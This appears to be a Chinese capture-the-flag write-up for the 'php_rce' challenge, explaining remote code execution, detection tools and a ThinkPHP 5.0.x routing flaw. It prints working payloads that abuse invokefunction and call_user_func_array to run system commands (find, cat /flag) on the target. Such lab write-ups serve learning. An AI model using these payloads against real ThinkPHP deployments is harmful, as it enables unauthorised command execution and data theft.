6.攻防世界php_rce

进入题目页面如下

进入页面后也没有发现注入点,加上题目提示是php,还有rce

RCE(Remote Code Execution)远程代码执行漏洞

基本概念

远程代码执行指攻击者无需物理接触目标系统,通过网络等远程方式,向目标系统注入并执行恶意代码。成功利用该漏洞后,攻击者能像合法用户一样对目标系统进行操作,获取系统的控制权。

数据泄露:可以执行恶意代码后可访问系统中的敏感数据,如用户的个人信息、企业的商业机密、数据库中的重要数据等,造成数据泄露和隐私侵犯。

系统破坏:可以删除、篡改系统文件和数据,导致系统无法正常运行,甚至造成数据丢失,给企业带来巨大的经济损失。

网络攻击跳板:被控制的系统可作为攻击者进一步攻击其他系统的跳板,扩大攻击范围,危害整个网络的安全。

检测手段

静态代码分析:借助代码扫描工具对源代码进行全面分析,查找可能存在的安全隐患和漏洞模式。例如,使用 SonarQube、Checkmarx 等工具可以发现代码中的命令注入、代码注入等问题。

动态测试:利用漏洞扫描器对运行中的应用程序进行动态检测,模拟攻击者的行为,向应用程序发送各种恶意请求,检测是否存在远程代码执行漏洞。常见的漏洞扫描器有 Nessus、Acunetix 等

定义

远程代码执行(Remote Code Execution,简称 RCE)漏洞是一种严重的安全漏洞,攻击者能够通过网络远程向目标系统注入并执行恶意代码。一旦成功利用该漏洞,攻击者可以完全控制目标系统,执行任意命令,如获取系统权限、窃取敏感信息、安装后门程序等,对系统安全造成严重威胁。

攻击者可构造恶意的参数,如 :ls -l,执行额外的系统命令

ThinkPHP V5

ThinkPHP V5 是一款在国内广泛应用的 PHP 开发框架

ThinkPHP 5.0.x 系列漏洞

漏洞成因

该版本主要是因为框架对控制器名解析存在缺陷。ThinkPHP 5 采用了路由机制,当处理请求时会根据请求的 URL 解析出对应的控制器和方法。在某些情况下,对控制器名的解析没有进行严格的过滤和验证,攻击者可以通过构造特殊的 URL 请求,让框架加载并执行恶意的控制器代码。

利用方式

攻击者构造包含恶意代码的 URL 请求,发送给存在漏洞的应用。可以通过修改 URL 中的控制器名参数,使其指向一个恶意构造的类,这个类中包含可以执行任意代码的方法。当应用处理该请求时,就会触发漏洞执行恶意代码。

这里的 s 参数通常用于指定控制器和方法,通过构造特殊的值,尝试执行 phpinfo() 函数,若漏洞存在则会输出 PHP 信息。

构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

发现了flag文件

再次构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

最后得到flag:flag{thinkphp5_rce}

相关推荐
黎阳之光2 小时前
黎阳之光:视频孪生领跑者,铸就中国数字科技全球竞争力
大数据·人工智能·算法·安全·数字孪生
上海云盾-高防顾问2 小时前
网络安全防护发展趋势:从被动防御到主动赋能
安全·web安全
CCTI_Curran2 小时前
UL4200A是美国针对纽扣电池安全标准
安全·纽扣电池·ul4200a·纽扣电池gcc认证·美国亚马逊
做个文艺程序员2 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
是罐装可乐2 小时前
深入理解“句柄(Handle)“:从浏览器安全到文件系统访问
前端·javascript·安全
星辰徐哥2 小时前
5G的行业应用:工业互联网、车联网、智慧医疗中的网络支撑
网络·5g·php
Figo_Cheung3 小时前
Figo义商本体约束推理引擎 (CRE):基于已部署CRE本地模型的技术实践研究——迈向AGI时代的AI伦理安全框架
人工智能·安全
头疼的程序员3 小时前
计算机网络:自顶向下方法(第七版)第八章 学习分享(三)
网络·学习·计算机网络
@insist1233 小时前
网络工程师-核心考点:网络管理体系与 SNMP 协议全解析
网络·智能路由器·网络工程师·软考·软件水平考试